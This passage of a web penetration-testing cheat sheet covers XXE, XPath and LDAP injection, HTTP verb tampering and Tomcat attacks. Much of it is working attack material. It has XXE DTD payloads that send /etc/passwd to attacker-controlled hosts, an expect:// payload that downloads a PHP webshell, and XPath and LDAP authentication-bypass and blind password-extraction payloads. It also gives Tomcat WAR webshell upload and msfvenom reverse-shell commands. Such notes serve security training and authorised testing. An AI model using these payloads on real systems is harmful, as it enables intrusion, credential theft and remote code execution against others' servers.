<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
```

{% endcode %}

<details>

<summary>DTD payload explaination</summary>

This DTD carries out the following steps:

* Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file.
* Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `exfiltrate`. The `exfiltrate` entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the `file` entity within the URL query string.
* Uses the `eval` entity, which causes the dynamic declaration of the `exfiltrate` entity to be performed.
* Uses the `exfiltrate` entity, so that its value is evaluated by requesting the specified URL.

</details>

The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. Finally, the attacker must submit the following XXE payload to the vulnerable application:

{% code title="injected.xml" %}

```xml
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>
```

{% endcode %}

This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the `/etc/passwd` file is transmitted to the attacker's server.

***

### **OOB Exfiltration via CDATA**

1. Inject the following payload:

```
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
```

2. Host a DTD file on our Kali machine: `echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd`
3. Start an HTTP server: `python3 -m http.server`
4. Reference the xxe entity to print the file content (e.g. use `&xxe;` in any reflected tag)

***

## **XXE Remote Code Execution via PHP Expect Wrapper**

1. Write the webshell in a file: `echo '<?php system($_REQUEST["cmd"]);?>' > shell.php`
2. Start a webserver: `python3 -m http.server 80`
3. Use the following XXE Payload:

   ```
   <?xml version="1.0"?>
   <!DOCTYPE email [
     <!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
   ]>
   ```
4. Use a reference to the previously defined entity inside a reflected XML tag: `<email>&xxe;</email>`

***

## **XXE Fully Blind data Exfiltration (Out of Band (XXE))**

1. Write the following `xxe.dtd` file on our Kali machine:

   ```
   <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
   <!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
   ```
2. Write the following `index.php` file on our Kali machine:

   ```
   <?phpif(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
   }
   ?>
   ```
3. Start a php webserver (in the same folder as index.php): `php -S 0.0.0.0:8000`
4. Use the following XXE Payload:

   ```
   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE email [
     <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
     %remote;
     %oob;
   ]>
   ```
5. Reference the XXE entity in a reflected XML parameter: `<root>&content;</root>`


# XPath Injection

XML Path Language (XPath) is a query language to retrieve data from XML documents, typically used in web application that retrieve data stored in an XML format.

When applications allow user input to be inserted in XPath queries without proper sanitization, it is possible to successfully exploit this vulnerability to retrieve the entire XML document, meaning an attacker will get access to all data stored inside the document.

{% hint style="success" %}
XPath injection is basically the XML equivalent of SQL injection for databases
{% endhint %}

## Automatic Injection using XCAT

```
pip3 install cython
pip3 install xcat

Usage: xcat [OPTIONS] COMMAND [ARGS]...

The commands are:
 detect: detect and print the type of injection found
 injections: print all types of injection supported by xcat
 ip: print the current external IP address
 run: retrieve the XML document by exploiting the XPath injection
 shell: xcat shell to run system commands

Find more info on commands using:
 xcat <command> --help.
```

Detect if a non-blind endpoint is vulnerable to XPath Injection:\
`xcat detect <url> <vulnerable-param> param1=value1 param2=value2 --true-string='invalid-input-string'`

Exfiltrate the XML document (via POST request):\
`xcat run <url> <vulnerable-param> param1=value1 --true-string=successfully -m POST --encode FORM`

***

## XPath Fundamentals

### Basic Concepts

XML documents contain data formatted in a tree structure of `nodes` with the top element being the `root element node`. Each node aside from the root has exactly one `parent node`, while each element node may have an arbitrary number of `child nodes`.

Nodes with the same parent are called `sibling nodes`. Traversing upwards or downwards from a given node determines all its `ancestor nodes` or `descendant nodes`.

An example XML document would be the following:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
  <book>
    <title lang="en">The name of the rose</title>
    <author>Umberto Eco</author>
    <price currency="dollar">5,00</price>
    <category>Novel</category>
  </book>
</bookstore>
```

In the example:

* *bookstore* is the `root element node`.
* *title*, *author*, *price* and *category* are `element nodes`.
* *lang* and *currency* are `attribute nodes`.
* *title*, *author*, *price* and *category* are `siblings`, with *book* being their `parent`.

### Selecting Data

Each XPath query selects a set of nodes from the XML document. A query is evaluated from a `context node`, which marks its **starting point**. This means that, depending on the context node, the same query may have different results.

{% hint style="info" %}
The following notes only consider the abbreviated syntax.\
For more details on the XPath syntax, look at the [W3C specification](https://www.w3.org/TR/xpath-3/).
{% endhint %}

There are several ways to **select nodes** in XPath. Some basic example queries are:

<table><thead><tr><th width="185">Query</th><th>Explanation</th></tr></thead><tbody><tr><td><code>example</code></td><td>Select all <code>example</code> child nodes <strong>of the context node</strong></td></tr><tr><td><code>/</code></td><td>Select the document root node</td></tr><tr><td><code>//</code></td><td>Select descendant nodes of the context node</td></tr><tr><td><code>.</code></td><td>Select the context node</td></tr><tr><td><code>..</code></td><td>Select the parent node of the context node</td></tr><tr><td><code>@attributeName</code></td><td>Select the <code>attributeName</code> attribute node <strong>of the context node</strong></td></tr><tr><td><code>text()</code></td><td>Select all text node child nodes <strong>of the context node</strong></td></tr><tr><td><code>query1 | query2</code></td><td>Combine multiple queries with the union operator</td></tr></tbody></table>

Starting from the previous basic queries, it is possible to construct more complex queries, such as:

* `/bookstore/book` - Select all book child nodes of the bookstore node
* `/bookstore//title` - Select all title nodes that are descendant of the bookstore node
* `/bookstore/book/price/@currency` - Select all currency attribute nodes of all price nodes under book elements that are child nodes of the bookstore node&#x20;
* `//book` - Select all books
* `//@currency` - Select all currency attribute nodes

{% hint style="success" %}
Notice:\
Any query starting with `//` is evaluated from the document root and not at the context node.
{% endhint %}

### Filtering data via Predicates

Predicates filter the result from an XPath query similar to the WHERE clause in a SQL query.

Predicates are part of the XPath query and are contained within `[]`.\
Some examples are:

* Select `/bookstore/book[1]`- Select the first book from the bookstore node
* `/bookstore/book[position()<10]` - Select the first 9 books
* `//book/title[@lang]/../category` - Select the category of all books with a title having a language

It is also possible to use wildcards such as

* `node()` - Matches any node
* `*` - Matches any element node
* `@*` - Matches any attribute node

{% hint style="warning" %}
Notice that the `*` wildcard matches any node, not any descendant node.\
To do that you can use `//`,  or alternatives, such as `/*/*/title` to match all titles of all books in the bookstore
{% endhint %}

***

## Authentication Bypass

An application might implement authentication via XML data containing all users' credentials.

In this case, to perform authentication, the web application might execute an XPath queries to check for the user data, such as the following:

```xquery
/users/user[username/text()='<username>' and password/text()='<password>'
```

In this case, if no checks are performed on user input, it is easily possible to bypass authentication using a query that always evaluates to true, such as

```xquery
username = ' or '1'='1
password = ' or '1'='1

resulting query:
/users/user[username/text()='' or '1'='1' and password/text()='' or '1'='1']
```

This will allow us to ***login as the first user*** inside the XML-data.

If known, it is possible to inject a valid username and a true condition for the password, such as

```xquery
username = administrator
password = ' or '1'='1

resulting query:
/users/user[username/text()='administrator' and password/text()='' or '1'='1']
```

In more realistic cases, we might not know any valid username. Also, the password is most probably hashed, meaning that the password payload will be hashed. For example:

```xquery
username = ' or '1'='1
password = ' or '1'='1

resulting query:
/users/user[username/text()='' or '1'='1' and password/text()='<MD5-hash>']
```

To properly bypass authentication in these cases, we can inject a ***double or condition*** to gain a ***universally true*** condition, for example:

```xquery
username = ' or true() or '
password = ' or '1'='1

/users/user[username/text()='' or true() or '' and password/text()='<MD5-hash>']
```

{% hint style="success" %}
***Explaination - Getting a universally true condition:***

The `and` predicate of a XPath query is resolved first, compared to the `or` predicate.\
In a realistic case, no passwords equal to the MD5 hash exist, so the `and` condition will be resolved to `false`.

Because of that, the resulting query will become:\
`/users/user[username/text()='' or true() or false`

Since `true()` is present, the whole query (two `or` operators) evaluates to `true` for **every** `<user>` node.

This means that the expression will return **all** `/users/user` nodes.\
The application will then match the first node, meaning you will login as the first user in the document.
{% endhint %}

Again, this will make us login as the first user in the XML-data. To login as another user without knowing their username, we might use the `position()` operator:

```xquery
username = ' or position()=2 or '
password = ' or '1'='1

/users/user[username/text()='' or position()=2 or '' and password/text()='<MD5-hash>']
```

Lastly, we can use the `contains()` operator to find all usernames containing a specific substring.\
This allows targeting accounts containing a specific word in their usernames (which we might know).

```xquery
username = ' or contains(.,'admin') or '
password = ' or '1'='1

/users/user[username/text()='' or contains(.,'admin') or '' and password/text()='<MD5-hash>']
```

***

## Data Exfiltration

#### Union Based

We can try to access arbitrary data from XML documents using techniques similar to UNION-based SQL injections. For this example, consider a bookstore web application with a search functionality that uses two GET parameters:&#x20;

* `?q=<input>` - finds books containing the user's search string.
* `&f=<input>` - selects a property of the book to display (example: title)

By analyzing the web application's behavior, we can deduce the performed XPath query:

```xquery
/a/b/c/[contains(d/text(), 'q')]/f
```

which, considering an HTTP request such as:

```http
GET /search.php?q=harrypotter&f=title HTTP/1.1
```

would turn to:

```xquery
/a/b/c/[contains(d/text(), 'harrypotter')]/title
```

{% hint style="info" %}
Since we do not know the names nor the depth of the element nodes in the XML document, we will make an educated guess and denote the path by single character placeholder names `a`, `b`, `c`, and `d`.\
We will discuss how to determine the schema depth in the next section.
{% endhint %}

The search string we provide in the GET parameter `q` is inserted in the predicate that filters the books using the `contains` function. After that, the GET parameter `f` determines the property the web application displays from all matching books (`title`, for example), which is why it is appended at the end of the query.

We can confirm XPath injection by sending the payload `a') or ('1'='1` in the `q` parameter and leaving the `f` parameter to `title`. This would result in the following XPath query:

```xquery
/a/b/c/[contains(d/text(), 'a') or ('1'='1')]/title
```

While our provided substring is invalid, the injected `or` clause evaluates to `true` such that the predicate becomes universally true. Therefore, it matches all nodes at that depth. With this payload, the web application responds with all book titles, thus confirming the XPath injection vulnerability

{% hint style="danger" %}
Unlike SQL, **XPath does not support in-line comment delimiters** inside an expression, meaning you **cannot** comment out part of an XPath query using characters like `--` or `#` for SQL
{% endhint %}

The next step is to construct a query that returns the entire XML document.\
The simplest is to append a new query that returns all text nodes:

```http
GET /search.php?q=SOMETHINGINVALID&f=title+|+//text() HTTP/1.1
```

{% hint style="success" %}
We could also achieve the same result by using:\
`q = SOMETHINGINVALID') or ('1'='1`\
`f = ../../..//text()`
{% endhint %}

The web application will then execute the following query:

```xquery
/a/b/c/[contains(d/text(), 'SOMETHINGINVALID')]/title | //text()
```

We are appending a second query with the `|` operator, similar to a `UNION`-based SQL injection.\
The second query, `//text()`, returns all text nodes in the XML document.\
Therefore, the response contains all data stored in the XML document.

### Identifying the Schema Depth  <a href="#xpath-advanced-data-exfiltration" id="xpath-advanced-data-exfiltration"></a>

It isn't always possible to leverage a query to directly extract all the document's data in one shot: an XPath query may only return a limited number of results - in that case, you can only access one information at a time.

To exfiltrate all the document's data in this scenario, we need to gain information about the schema's structure and depth. We can gain information about the schema's structure and depth using an iterative process where we inject queries that ensure the original XPath query returns no results and, each time, appending a new query that gives us information about the schema depth.

In particular, we can inject a union query operator followed by a subquery which starts from the document root element node:  `<XPath Query> | /*[1]`

{% hint style="success" %}
The subquery `/*[1]` starts at the document root `/`, moves one node down the node tree due to the wildcard `*`, and selects the first child due to the predicate `[1]`. Thus, this subquery selects the document root's first child, the document root element node
{% endhint %}

By doing that, the web application will most probably **not return** data: the web application expects a single return value, but the injected query returns the entirety of the document root element node, which is an array.&#x20;

We can understand the depth of the XML document by iteratively appending an additional `/*[1]` to the subquery until the behavior of the web application changes:

```
<XPath Query> | /*[1]
<XPath Query> | /*[1]/*[1]
<XPath Query> | /*[1]/*[1]/*[1]
<XPath Query> | /*[1]/*[1]/*[1]/*[1]
.....
```

Once the web application finally returns some data, we can deduce that the schema is at least equal to the amount of appended payloads.

{% hint style="danger" %}
This process allows you to understand the depth for the node you are expanding.\
There might be other deeper nodes, which would increase the document's depth.
{% endhint %}

To return all the information in the element nodes, we need to find the element node names by iterating the previous payload and changing the first child to the second, then the third and so on:

```
<XPath Query> | /*[1]/*[1]/*[1]/*[1]
<XPath Query> | /*[1]/*[1]/*[1]/*[2]
<XPath Query> | /*[1]/*[1]/*[1]/*[3]
<XPath Query> | /*[1]/*[1]/*[1]/*[4]
.....
```

{% hint style="info" %}
To exfiltrate an entire XML document in this way, it makes to write down a script that performs the iterative steps automatically.
{% endhint %}

Iterating this process for all element nodes will allow access the entire XML document.

```
Example iteration: 
<XPath Query> | /*[1]/*[1]/*[1]/*[1]
<XPath Query> | /*[1]/*[1]/*[1]/*[2]
.....
<XPath Query> | /*[1]/*[1]/*[2]/*[1]
<XPath Query> | /*[1]/*[1]/*[2]/*[2]
<XPath Query> | /*[1]/*[1]/*[2]/*[2]
.....
<XPath Query> | /*[1]/*[2]/*[1]/*[1]
<XPath Query> | /*[1]/*[2]/*[1]/*[2]
.....
```

***

### Blind Exfiltration

Similarly to Blind SQL Injections, the web application may not display the query results to us, but it may  still be possible to exfiltrate data. Differently from SQL, ***there is no sleep function in XPath***, so we need other indicators that tell us whether the XPath query was injected.

{% hint style="success" %}
While there is no sleep function in XPath, it is still possible to perform time-based exploitation, as shown in the next section&#x20;
{% endhint %}

The idea behind the blind exfiltration process is to enumerate the name of element nodes to construct XPath queries without wildcards to narrow our queries to target interesting data points.

There are 4 functions that can help with this process:

* `name()`: allows determining a node's name
* `substring()`: exfiltrate a node name one character at a time
* `string-length()`: determine the length of a node name to know when to stop the exfiltration
* `count()`: returns the number of children of an element node.

Consider an example web application that allows users to chat. The web applications start a chat with a user via the page *`chat.php?username=sfoffo`*

If a chat is started with an invalid username, the web application prints an error message. If the username is valid, the chat page is opened. This is a ***difference in responses*** that we need to consider to properly perform the blind exfiltration

Since the application performs a user existance check, we can guess the underlying XPath query is similar to the following: `/users/user[username='input']`. To confirm, we can use a payload such as `invalid' or '1'='1` to gain the query: `/users/user[username='invalid' or '1'='1']`.\
The application will then act like a valid username was found, since the check returns `true`.

#### 1. Exfiltrating the Length of a Node Name

To exfiltrate the length of the root node's name, we can use the payload

```xquery
Payload:
 invalid' or string-length(name(/*[1]))=1 and '1'='1

Full Query:
 /users/user[username='invalid' or string-length(name(/*[1]))=1 and '1'='1']
```

this query returns data only if `string-length(name(/*[1]))=1` is `true`, meaning the length of the root element node's name is 1. The previous query needs to be iterated until the application's response is the same as for a valid username.

#### 2. Exfiltrating a Node Name

Now that we know the length of the node's name, we can exfiltrate the name character by character.

To do that, we need to use&#x20;

```xquery
Payload:
 invalid' or substring(name(/*[1]),1,1)='a' and '1'='1

Full Query:
 /users/user[username='invalid' or substring(name(/*[1]),1,1)='a' and '1'='1']
```

The query returns data only if the first character of the root node's name equals to a. This query needs to be iterated for all character until the web application's response is valid.

Finally, the payload needs to be iterated for the next character positions to find the entire node name:

```xquery
invalid' or substring(name(/*[1]),2,1)='<letter>' and '1'='1
invalid' or substring(name(/*[1]),3,1)='<letter>' and '1'='1
invalid' or substring(name(/*[1]),4,1)='<letter>' and '1'='1
invalid' or substring(name(/*[1]),5,1)='<letter>' and '1'='1'
```

#### 3. Exfiltrating the Number of Child Nodes

To determine the number of child nodes for a given node, we can use the `count()` function in a payload:&#x20;

```xquery
Payload:
 invalid' or count(/users/*)=1 and '1'='1

Full Query:
 /users/user[username='invalid' or count(/users/*)=1 and '1'='1']
```

This query returns data if we successfully found the number of child nodes of the node.

After exfiltrating the number of child nodes, you can repeat the entire process to find the entire document's structure.

#### 4. Exfiltrating Data

After you have identified the XML document structure, you can proceed with data exfiltration using the same ideas already mentioned.&#x20;

The first step is to find the number of characters of the first username

```xquery
Payload:
 invalid' or string-length(/users/user[1]/username)=1 and '1'='1

Full Query:
 /users/user[username='invalid' or string-length(/users/user[1]/username)=1 and '1'='1']
```

Then, find all characters of the username based on the amount of letters it contains:

```xquery
Payload:
 invalid' or substring(/users/user[1]/username,1,1)='a' and '1'='1, resulting in the following XPath query:

Full Query:
 /users/user[username='invalid' or substring(/users/user[1]/username,1,1)='a' and '1'='1']
```

Finally, iterate through all characters until the entire username is exfiltrated.

### Time-Based Exploitation

In fully blind scenarios (where the response is the same whether the input is valid or not), it is possible to abuse the processing time of the web application to create behavior similar to a `sleep` function.

In particular, you can force the web application to iterate over the entire XML document by recursively calling the `count` function with stacked predicates to force the web application to iterate over all nodes in the XML document exponentially, wasting a lot of time.

Consider a payload such as the following:

{% code overflow="wrap" %}

```xquery
Payload:
invalid' or substring(/users/user[1]/username,1,1)='a' and count((//.)[count((//.))]) and '1'='1

Full Query:
/users/user[username='invalid' or substring(/users/user[1]/username,1,1)='a' and count((//.)[count((//.))]) and '1'='1']

```

{% endcode %}

If the condition `substring(/users/user[1]/username,1,1)='a'` is true, the second part of the and clause will be evaluated, meaning that the double count will exponentially iterate over the XML document, causing a large time delay. If the conditions is false, the exponential count will not start, meaning that the first character of the username is not a.

Using this idea, we can exfiltrate all the XML document's data.

{% hint style="danger" %}
If the XML document is large, this payload can quickly result in a Denial-of-Service. Be careful!
{% endhint %}


# LDAP Injection

Lightweight Directory Access Protocol (LDAP) is a protocol used to access directory servers such as Active Directory (AD) via queries to retrieve information. Web applications may use LDAP for integration with AD or other directory services for authentication or data retrieval purposes.&#x20;

## LDAP Fundamentals

<details>

<summary>Basic Terminology</summary>

<table><thead><tr><th width="297">Component</th><th>Description</th></tr></thead><tbody><tr><td><strong>Directory Server (DS)</strong></td><td>The system that stores and manages directory data just like a database.</td></tr><tr><td><strong>LDAP Entry</strong></td><td>Represents a single entity (e.g., a user, group, or device) in the directory.</td></tr><tr><td><strong>Distinguished Name (DN)</strong></td><td>The unique identifier of an entry, made of one or more RDNs (e.g.<code>uid=sfoffo,dc=example,dc=it</code>).</td></tr><tr><td><strong>Relative Distinguished Name (RDN)</strong></td><td>A key–value pair that forms part of a DN (<code>uid=sfoffo</code>).</td></tr><tr><td><strong>Attributes</strong></td><td>Hold the data for an entry (e.g., name, department).</td></tr><tr><td><strong>Object Classes</strong></td><td>Defines sets of related attributes for a specific type of object.</td></tr></tbody></table>

</details>

<details>

<summary>LDAP Operations</summary>

LDAP defines operations, which are actions that the client can initiate:

<table><thead><tr><th width="181">Operation</th><th>Description</th></tr></thead><tbody><tr><td>Bind</td><td>Client authentication with the server</td></tr><tr><td>Unbind</td><td>Close the client connection to the server</td></tr><tr><td>Add</td><td>Create a new entry</td></tr><tr><td>Delete</td><td>Delete an entry</td></tr><tr><td>Modify</td><td>Modify an entry</td></tr><tr><td>Search</td><td>Search for entries matching a search query</td></tr></tbody></table>

</details>

<details>

<summary>LDAP Search Filters (search queries)</summary>

LDAP search queries are called search filters.\
A search filter may consist of multiple components enclosed in parentheses `()`.\
Each base component consists of an **attribute**, an **operand**, and a **value** to search for.

<table><thead><tr><th width="136">Name</th><th width="100">Operand</th><th width="155">Example</th><th>Example Description</th></tr></thead><tbody><tr><td>Equality</td><td><code>=</code></td><td><code>(name=Kaylie)</code></td><td>Matches all entries that contain a <code>name</code> attribute with the value <code>Kaylie</code></td></tr><tr><td>Greater-Or-Equal</td><td><code>>=</code></td><td><code>(uid>=10)</code></td><td>Matches all entries that contain a <code>uid</code> attribute with a value greater-or-equal to <code>10</code></td></tr><tr><td>Less-Or-Equal</td><td><code>&#x3C;=</code></td><td><code>(uid&#x3C;=10)</code></td><td>Matches all entries that contain a <code>uid</code> attribute with a value less-or-equal to <code>10</code></td></tr><tr><td>Approximate Match</td><td><code>~=</code></td><td><code>(name~=Kaylie)</code></td><td>Matches all entries that contain a <code>name</code> attribute with approximately the value <code>Kaylie</code></td></tr></tbody></table>

{% hint style="danger" %}
Note: different LDAP implementations may have different result for approximate matches.
{% endhint %}

</details>

<details>

<summary>LDAP Search Operands and Values</summary>

<table><thead><tr><th width="108">Name</th><th width="121">Operand</th><th width="442">Example</th></tr></thead><tbody><tr><td>And</td><td><code>(&#x26;()())</code></td><td><code>(&#x26;(name=Kaylie)(title=Manager))</code></td></tr><tr><td>Or</td><td><code>(|()())</code></td><td><code>(|(name=Kaylie)(title=Manager))</code></td></tr><tr><td>Not</td><td><code>(!())</code></td><td><code>(!(name=Kaylie))</code></td></tr></tbody></table>

<table><thead><tr><th width="305">Boolean Value</th><th>Filter</th></tr></thead><tbody><tr><td>True</td><td><code>(&#x26;)</code></td></tr><tr><td>False</td><td><code>(|)</code></td></tr></tbody></table>

LDAP supports wildcards such as:

| Wildcard Example | Example Description                                                      |
| ---------------- | ------------------------------------------------------------------------ |
| `(name=*)`       | Matches all entries that contain a `name` attribute                      |
| `(name=S*)`      | Matches all entries that contain a `name` attribute that begins with `S` |
| `(name=*s*)`     | Matches all entries that contain a name attribute that contains an `s`   |

</details>

***

## Authentication Bypass

LDAP is commonly used to enable Active Directory users to access web applications.\
Considering an example of a web application that allows users to login using their username and password, we may suppose the underlying search query is:

```
(&(uid=input-username)(password=input-password))
```

This authentication mechanism can be bypassed in several ways:

### Using Wildcards

If you know any valid username (such as `admin`), you might input:

```
username = admin
password = *
```

to gain the following query, allowing you to login as admin without their password:

```
(&(uid=admin)(password=*))
```

If you don't know any valid user, you can try using a wildcard for both parameters to make the search query return all users. This will most probably make you login as the first user returned by the query.

```
(&(uid=*)(password=*))
```

### Without Wildcards

Wildcard operators might be blacklisted by the web application.\
In those cases, it is useful to leverage arithmetic logic units to create conditions that will **always** be **true**.

If you know a valid username (such as `admin`), you might input:

```
username = admin)(|(&
password = wrong)
```

{% hint style="info" %}
You may also try guessing usernames, such as by looking for usernames containing the word "admin" in them leveraging a username payload such as `username=`*`*admin*`*`)(|(&`&#x20;

Of course, this requires you to be able to inject wildcards.
{% endhint %}

To gain the following query:

```
(&(uid=admin)(|(&)(password=wrong))
```

{% hint style="success" %}
Step by step, this query is resolved to:\
&#x20;-> (username=admin) AND (true OR password=wrong)\
&#x20;\--> (username=admin) AND (true OR false)\
&#x20;\---> (username=admin) AND true

allowing you to bypass the password check and login as the admin user
{% endhint %}

***

## Data Exfiltration

The easiest case of data exfiltration is when a search query displays the names of the entries displayed.

For example, consider you can input the `uid` parameter and the underlying query is the following

```
User Input:
 uid = admin
Resulting Query:
 (&(uid=admin)(objectClass=account))
```

You can easily retrieve all user's informations using a wildcard:

```
User Input:
 uid = *
Resulting Query:
 (&(uid=*)(objectClass=account))
```

### Blind Exfiltration

{% hint style="warning" %}
Since LDAP does not provide a function similar to SQL's `sleep`, we need an indicator by the web application that informs us whether the query returns any results or not.
{% endhint %}

Consider a web application that allows sending emails to users.&#x20;

```http
GET /mail.php?username=example&text=anything HTTP/1.1
```

If the provided username is valid, the web application responds with "***Mail sent***", otherwise it responds with a ***generic error,*** without providing any additional info. In that case, you can confirm whether an LDAP injection is in place by simply injecting a LDAP payload such as a wildcard:

```http
GET /mail.php?username=*&text=anything HTTP/1.1
```

If the LDAP injection exists, the web application will respond with "Mail sent", sending the email to the first username it found from the matching query.

In this example, we can **bruteforce valid usernames** by using queries containing substrings, one character at a time, for example:

```http
GET /mail.php?username=s*&text=anything HTTP/1.1
GET /mail.php?username=sf*&text=anything HTTP/1.1
GET /mail.php?username=sfo*&text=anything HTTP/1.1
GET /mail.php?username=sfof*&text=anything HTTP/1.1
GET /mail.php?username=sfoff*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo&text=anything HTTP/1.1
```

Since the web application's response allows understanding whether the mail was sent, we can understand if a new character is valid.

After identifying a valid username, we may also try exfiltrating the user's password by injecting an AND clause that iterates again on the password attribute, for example:

```http
GET /mail.php?username=sfoffo)(password=*&text=anything HTTP/1.1
```

If the email is successfully sent, the password attribute exists and can be injected, meaning you can proceed with the same iteration until you fully match the user's password.

```http
GET /mail.php?username=sfoffo)(password=i*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=it*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ita*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=ital*&text=anything HTTP/1.1
GET /mail.php?username=sfoffo)(password=italy&text=anything HTTP/1.1
```


# HTTP Verb Tampering

## **Introduction**

> * An HTTP Verb Tampering attack exploits web servers that accept many HTTP verbs and methods.
> * This can be exploited by sending malicious requests using **unexpected HTTP methods**
> * This allows bypassing the web application's authorization mechanisms or even bypassing its security controls.

***

## **HTTP Verbs**

1. `GET`: Request data from a specified resource
2. `POST`: Send data to a server to create/update a resource
3. `HEAD`: Identical to a GET request, but its response only contains the `headers`, without the response body
4. `PUT`: Writes the request payload to the specified location
5. `DELETE`: Deletes the resource at the specified location
6. `OPTIONS`: Shows different options accepted by a web server, like accepted HTTP verbs
7. `PATCH`: Apply partial modifications to the resource at the specified location

***

## **HTTP Verbs Enumeration**

To identify an HTTP Verb Tampering Vulnerability:

1. **Insecure configuration** such as: `<Limit GET POST> require valid-user </Limit>` This allows any method other than GET and POST to bypass any user validity checks
2. **Insecure coding** such as a PHP file with an explicit declaration of an HTTP Method, e.g. `if(..., $_GET["code"]`. This allows any method other than GET to bypass the if check
3. **Show all available HTTP Methods**: `curl -i -X OPTIONS http://SERVER:PORT`

***

## **Examples of HTTP Verb Tampering**

1. **Bypassing Basic Authentication:** sometimes it's possible to bypass HTTP Basic Auth by simply changing the HTTP verb
2. **Bypassing Security Filters:** sometimes it's possible to bypass security filters whenever an error message as "cannot GET *resourcename*" is shown
3. **Forcing Errors:** sometimes it's possible to show error logs by just using unexpected HTTP Verbs


# Web Technologies

## **Identifying Web Technologies**

> The first step to perform a web application penetration test is to identify the target's web technology in use. In order to do that, you can follow these basic steps:

1. Peform nmap scans against the target web application's open port
2. Analyze the web application:
   * Using [Wappalyzer](https://www.wappalyzer.com/) as a browser extension
   * Using `whatweb http://server.com --log-verbose output-file`
3. Look for the following generic files: `robots.txt`, `sitemap.xml`, `README.txt`, `CHANGELOG.txt`
4. Analyze the website's footer, header and source code to check for references to the web technology used
5. Analyze the HTTP Response Headers
6. Force errors to trigger unexpected behaviors in the web application that may cause information disclosure

***

## **External Resources**

* <https://book.hacktricks.xyz/network-services-pentesting/pentesting-web#web-tech-tricks>


# Tomcat

## **Introduction**

The following schema represents a general folder structure of a Tomcat installation

```
├── bin ----------------------> The bin folder stores scripts and binaries needed to start and run a Tomcat server. 
├── conf ---------------------> The conf folder stores various configuration files used by Tomcat.
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml -----> Stores user credentials and roles. Allows/disallows access to /manager and /host-manager admin pages
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib ----------------------> The lib folder holds the various JAR files needed for the correct functioning of Tomcat.
├── logs ---------------------> The logs and temp folders store temporary log files
├── temp ---------------------> The logs and temp folders store temporary log files
├── webapps ------------------> The webapps folder is the default webroot of Tomcat and hosts all the applications.
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
|   ├── jsp
|   |   └── admin.jsp
|   └── web.xml --------------> Contains sensitive information. Stores information about the mechanisms underlying the application
|   └── lib
|   |    └── jdbc_drivers.jar
|   └── classes --------------> All compiled classes used by the application
|      └── AdminServlet.class  
|
└── work ---------------------> The work folder acts as a cache and is used to store data during runtime.
    └── Catalina
        └── localhost
```

***

## **Footprinting & Enumeration**

| Command                                                                                                          | Description                                                      |
| ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- |
| <p>Browse to<br><em><http://test.example:8080/invalid></em></p>                                                  | Requesting an invalid page should reveal the server and version  |
| *curl -s <http://test.example:8080/docs/> \| grep Tomcat*                                                        | Read the default documentation page and check the Tomcat version |
| Browse to *<http://test.example:8080/manager>*                                                                   | Check if the `manager` (admin-only) page exists                  |
| <p>Browse to<br><em><http://test.example:8080/host-manager></em></p>                                             | Check if the `host-manager` (admin-only) page exists             |
| <https://github.com/p0dalirius/ApacheTomcatScanner>                                                              | Useful tool to quickly scan Tomcat instances                     |
| <https://raw.githubusercontent.com/nixawk/fuzzdb/refs/heads/master/discovery/applications/ApacheTomcat.fuzz.txt> | Useful wordlist to fuzz Tomcat instances                         |

***

## **Tomcat Manager Attacks**

> Having access to the `/manager` or `/host-manager` admin pages can help achieve `RCE` on the Tomcat server

1. **Login Bruteforcing:**
   * To attempt login bruteforcing, se the `auxiliary/scanner/http/tomcat_mgr_login` **Metasploit module**
   * Note: in case of errors, you might need to `set PROXIES http://127.0.0.1:8080` and **edit the requests** sent by the module with **BurpSuite**
2. **Tomcat Manager WAR File Upload to RCE**
   * Prerequisites: credentials of a user with the `manager-gui` role
   * **\[Automatically] - Metasploit:** `multi/http/tomcat_mgr_upload`
   * **\[Manually]** - Download JSP Web Shell: `wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp`
   * Add the web shell to a WAR archive: `zip -r backup.war cmd.jsp`
   * **\[Alternative Payload]:** `msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your-ip> LPORT=<your-nc-port> -f war > backup.war`
   * Navigate to `/manager/html` and **upload the previous WAR file containing the JSP WEB Shell**
   * Get RCE: `curl http://test.example:8080/backup/cmd.jsp?cmd=id`

***

## **Path Traversal via misconfigured Reverse Proxy**

In some vulnerable configurations of Tomcat you can gain access to protected directories in Tomcat using the path: `/..;/` or `/;param=value/`

{% hint style="info" %}
